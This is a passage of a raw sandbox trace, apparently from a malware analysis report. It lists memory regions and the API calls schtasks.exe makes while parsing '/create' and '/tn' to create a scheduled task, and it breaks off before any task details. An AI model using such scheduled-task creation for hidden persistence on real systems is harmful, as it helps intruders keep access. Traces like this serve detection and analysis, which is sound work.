region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2530 start_va = 0x1b90000 end_va = 0x1e5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2531 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2532 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2533 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2534 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2535 start_va = 0x1e60000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 2536 start_va = 0x1f30000 end_va = 0x200efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f30000" filename = "" Region: id = 2537 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2538 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 2539 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2541 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2542 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2543 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2544 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2545 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2546 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2548 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 131 os_tid = 0xf60 [0137.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffc60 | out: lpSystemTimeAsFileTime=0x1ffc60*(dwLowDateTime=0x20c23260, dwHighDateTime=0x1d8a92a)) [0137.315] GetCurrentProcessId () returned 0xf5c [0137.315] GetCurrentThreadId () returned 0xf60 [0137.315] GetTickCount () returned 0x1387b5c [0137.315] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1ffc68 | out: lpPerformanceCount=0x1ffc68*=2061617883593) returned 1 [0137.316] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0137.316] __set_app_type (_Type=0x1) [0137.316] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffed972c) returned 0x0 [0137.316] __wgetmainargs (in: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248, _DoWildCard=0, _StartInfo=0xffef125c | out: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248) returned 0 [0137.317] _onexit (_Func=0xffee2ab0) returned 0xffee2ab0 [0137.317] _onexit (_Func=0xffee2ac4) returned 0xffee2ac4 [0137.317] _onexit (_Func=0xffee2afc) returned 0xffee2afc [0137.317] _onexit (_Func=0xffee2b58) returned 0xffee2b58 [0137.317] _onexit (_Func=0xffee2b80) returned 0xffee2b80 [0137.318] _onexit (_Func=0xffee2ba8) returned 0xffee2ba8 [0137.318] _onexit (_Func=0xffee2bd0) returned 0xffee2bd0 [0137.318] _onexit (_Func=0xffee2bf8) returned 0xffee2bf8 [0137.318] _onexit (_Func=0xffee2c20) returned 0xffee2c20 [0137.318] _onexit (_Func=0xffee2c48) returned 0xffee2c48 [0137.318] _onexit (_Func=0xffee2c70) returned 0xffee2c70 [0137.319] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0137.319] WinSqmIsOptedIn () returned 0x0 [0137.320] GetProcessHeap () returned 0x250000 [0137.320] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26b9d0 [0137.320] SetLastError (dwErrCode=0x0) [0137.320] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0137.320] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0137.320] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0137.320] VerifyVersionInfoW (in: lpVersionInformation=0x1ff420, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1ff420) returned 1 [0137.320] GetProcessHeap () returned 0x250000 [0137.320] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26b9f0 [0137.321] lstrlenW (lpString="") returned 0 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x2) returned 0x26ba10 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265960 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba30 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265990 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659c0 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659f0 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a20 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba50 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a50 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a80 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ab0 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ae0 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba70 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b10 [0137.321] GetProcessHeap () returned 0x250000 [0137.321] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b40 [0137.321] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b70 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ba0 [0137.322] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0137.322] SetLastError (dwErrCode=0x0) [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265bd0 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c00 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c30 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c60 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c90 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26ba90 [0137.322] _memicmp (_Buf1=0x26ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.322] GetProcessHeap () returned 0x250000 [0137.322] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x208) returned 0x26bc30 [0137.322] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0137.323] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0137.324] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0137.324] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0137.325] GetProcessHeap () returned 0x250000 [0137.325] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26c1e0 [0137.325] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0137.325] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26c1e0 | out: lpData=0x26c1e0) returned 1 [0137.325] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0137.325] VerQueryValueW (in: pBlock=0x26c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ff508, puLen=0x1ff570 | out: lplpBuffer=0x1ff508*=0x26c57c, puLen=0x1ff570) returned 1 [0137.329] _memicmp (_Buf1=0x26ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.329] _vsnwprintf (in: _Buffer=0x26bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1ff4e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0137.329] VerQueryValueW (in: pBlock=0x26c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1ff578, puLen=0x1ff568 | out: lplpBuffer=0x1ff578*=0x26c3a8, puLen=0x1ff568) returned 1 [0137.329] lstrlenW (lpString="schtasks.exe") returned 12 [0137.329] lstrlenW (lpString="schtasks.exe") returned 12 [0137.329] lstrlenW (lpString=".EXE") returned 4 [0137.329] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0137.330] lstrlenW (lpString="schtasks.exe") returned 12 [0137.330] lstrlenW (lpString=".EXE") returned 4 [0137.330] _memicmp (_Buf1=0x26ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.330] lstrlenW (lpString="schtasks") returned 8 [0137.330] GetProcessHeap () returned 0x250000 [0137.330] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265d80 [0137.330] GetProcessHeap () returned 0x250000 [0137.330] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26caf0 [0137.330] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb20 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb50 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bab0 [0137.331] _memicmp (_Buf1=0x26bab0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa0) returned 0x26c030 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb80 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cbb0 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cbe0 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bad0 [0137.331] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x200) returned 0x26d2c0 [0137.331] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0137.331] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0137.331] GetProcessHeap () returned 0x250000 [0137.331] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267a80 [0137.332] _vsnwprintf (in: _Buffer=0x26c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1ff4e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0137.332] GetProcessHeap () returned 0x250000 [0137.332] GetProcessHeap () returned 0x250000 [0137.332] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0) returned 1 [0137.332] GetProcessHeap () returned 0x250000 [0137.332] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c1e0) returned 0x74e [0137.332] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0 | out: hHeap=0x250000) returned 1 [0137.332] SetLastError (dwErrCode=0x0) [0137.332] GetThreadLocale () returned 0x409 [0137.332] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="?") returned 1 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="create") returned 6 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="delete") returned 6 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="query") returned 5 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="change") returned 6 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="run") returned 3 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="end") returned 3 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] lstrlenW (lpString="showsid") returned 7 [0137.333] GetThreadLocale () returned 0x409 [0137.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.333] SetLastError (dwErrCode=0x0) [0137.333] SetLastError (dwErrCode=0x0) [0137.333] lstrlenW (lpString="/create") returned 7 [0137.333] lstrlenW (lpString="-/") returned 2 [0137.334] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.334] lstrlenW (lpString="?") returned 1 [0137.334] lstrlenW (lpString="?") returned 1 [0137.334] GetProcessHeap () returned 0x250000 [0137.334] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c1e0 [0137.334] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.334] GetProcessHeap () returned 0x250000 [0137.334] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26c200 [0137.334] lstrlenW (lpString="create") returned 6 [0137.334] GetProcessHeap () returned 0x250000 [0137.334] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c220 [0137.334] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.334] GetProcessHeap () returned 0x250000 [0137.334] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x14) returned 0x26c240 [0137.334] _vsnwprintf (in: _Buffer=0x26c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|?|") returned 3 [0137.334] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.334] lstrlenW (lpString="|?|") returned 3 [0137.334] lstrlenW (lpString="|create|") returned 8 [0137.334] SetLastError (dwErrCode=0x490) [0137.334] lstrlenW (lpString="create") returned 6 [0137.334] lstrlenW (lpString="create") returned 6 [0137.334] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.334] GetProcessHeap () returned 0x250000 [0137.334] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c200) returned 1 [0137.334] GetProcessHeap () returned 0x250000 [0137.334] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c200, Size=0x14) returned 0x26c260 [0137.335] lstrlenW (lpString="create") returned 6 [0137.335] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.335] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.335] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.335] lstrlenW (lpString="|create|") returned 8 [0137.335] lstrlenW (lpString="|create|") returned 8 [0137.335] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0137.335] SetLastError (dwErrCode=0x0) [0137.335] SetLastError (dwErrCode=0x0) [0137.335] SetLastError (dwErrCode=0x0) [0137.335] lstrlenW (lpString="/tn") returned 3 [0137.335] lstrlenW (lpString="-/") returned 2 [0137.335] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.335] lstrlenW (lpString="?") returned 1 [0137.335] lstrlenW (lpString="?") returned 1 [0137.335] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.335] lstrlenW (lpString="tn") returned 2 [0137.335] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.335] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|?|") returned 3 [0137.335] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.335] lstrlenW (lpString="|?|") returned 3 [0137.335] lstrlenW (lpString="|tn|") returned 4 [0137.335] SetLastError (dwErrCode=0x490) [0137.335] lstrlenW (lpString="create") returned 6 [0137.335] lstrlenW (lpString="create") returned 6 [0137.335] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.335] lstrlenW (lpString="tn") returned 2 [0137.335] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.336] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.336] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.336] lstrlenW (lpString="|create|") returned 8 [0137.336] lstrlenW (lpString="|tn|") returned 4 [0137.336] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0137.336] SetLastError (dwErrCode=0x490) [0137.336] lstrlenW (lpString="delete") returned 6 [0137.336] lstrlenW (lpString="delete") returned 6 [0137.336] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.336] lstrlenW (lpString="tn") returned 2 [0137.336] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.336] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|delete|") returned 8 [0137.336] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.336] lstrlenW (lpString="|delete|") returned 8 [0137.336] lstrlenW (lpString="|tn|") returned 4 [0137.336] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0137.336] SetLastError (dwErrCode=0x490) [0137.336] lstrlenW (lpString="query") returned 5 [0137.336] lstrlenW (lpString="query") returned 5 [0137.336] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.336] lstrlenW (lpString="tn") returned 2 [0137.336] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.336] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|query|") returned 7 [0137.336] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.337] lstrlenW (lpString="|query|") returned 7 [0137.337] lstrlenW (lpString="|tn|") returned 4 [0137.337] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0137.337] SetLastError (dwErrCode=0x490) [0137.337] lstrlenW (lpString="change") returned 6 [0137.337] lstrlenW (lpString="change") returned 6 [0137.337] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.337] lstrlenW (lpString="tn") returned 2 [0137.337] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.337] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|change|") returned 8 [0137.337] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.337] lstrlenW (lpString="|change|") returned 8 [0137.337] lstrlenW (lpString="|tn|") returned 4 [0137.337] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0137.337] SetLastError (dwErrCode=0x490) [0137.337] lstrlenW (lpString="run") returned 3 [0137.337] lstrlenW (lpString="run") returned 3 [0137.337] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.337] lstrlenW (lpString="tn") returned 2 [0137.337] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.337] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|run|") returned 5 [0137.337] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.337] lstrlenW (lpString="|run|") returned 5 [0137.337] lstrlenW (lpString="|tn|") returned 4 [0137.337] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0137.337] SetLastError (dwErrCode=0x490) [0137.337] lstrlenW (lpString="end") returned 3 [0137.337] lstrlenW (lpString="end") returned 3 [0137.338] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.338] lstrlenW (lpString="tn") returned 2 [0137.338] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.338] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|end|") returned 5 [0137.338] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.338] lstrlenW (lpString="|end|") returned 5 [0137.338] lstrlenW (lpString="|tn|") returned 4 [0137.338] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0137.338] SetLastError (dwErrCode=0x490) [0137.338] lstrlenW (lpString="showsid") returned 7 [0137.338] lstrlenW (lpString="showsid") returned 7 [0137.338] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.338] GetProcessHeap () returned 0x250000 [0137.338] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c260) returned 1 [0137.338] GetProcessHeap () returned 0x250000 [0137.338] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c260, Size=0x16) returned 0x26c260 [0137.338] lstrlenW (lpString="tn") returned 2 [0137.338] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.338] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|showsid|") returned 9 [0137.338] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tn|") returned 4 [0137.338] lstrlenW (lpString="|showsid|") returned 9 [0137.338] lstrlenW (lpString="|tn|") returned 4 [0137.338] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0137.338] SetLastError (dwErrCode=0x490) [0137.338] SetLastError (dwErrCode=0x490) [0137.339] SetLastError (dwErrCode=0x0) [0137.339] lstrlenW (lpString="/tn") returned 3 [0137.339] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0137.339] SetLastError (dwErrCode=0x490) [0137.339] SetLastError (dwErrCode=0x0) [0137.339] lstrlenW (lpString="/tn") returned 3 [0137.339] GetProcessHeap () returned 0x250000 [0137.339] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c200 [0137.339] 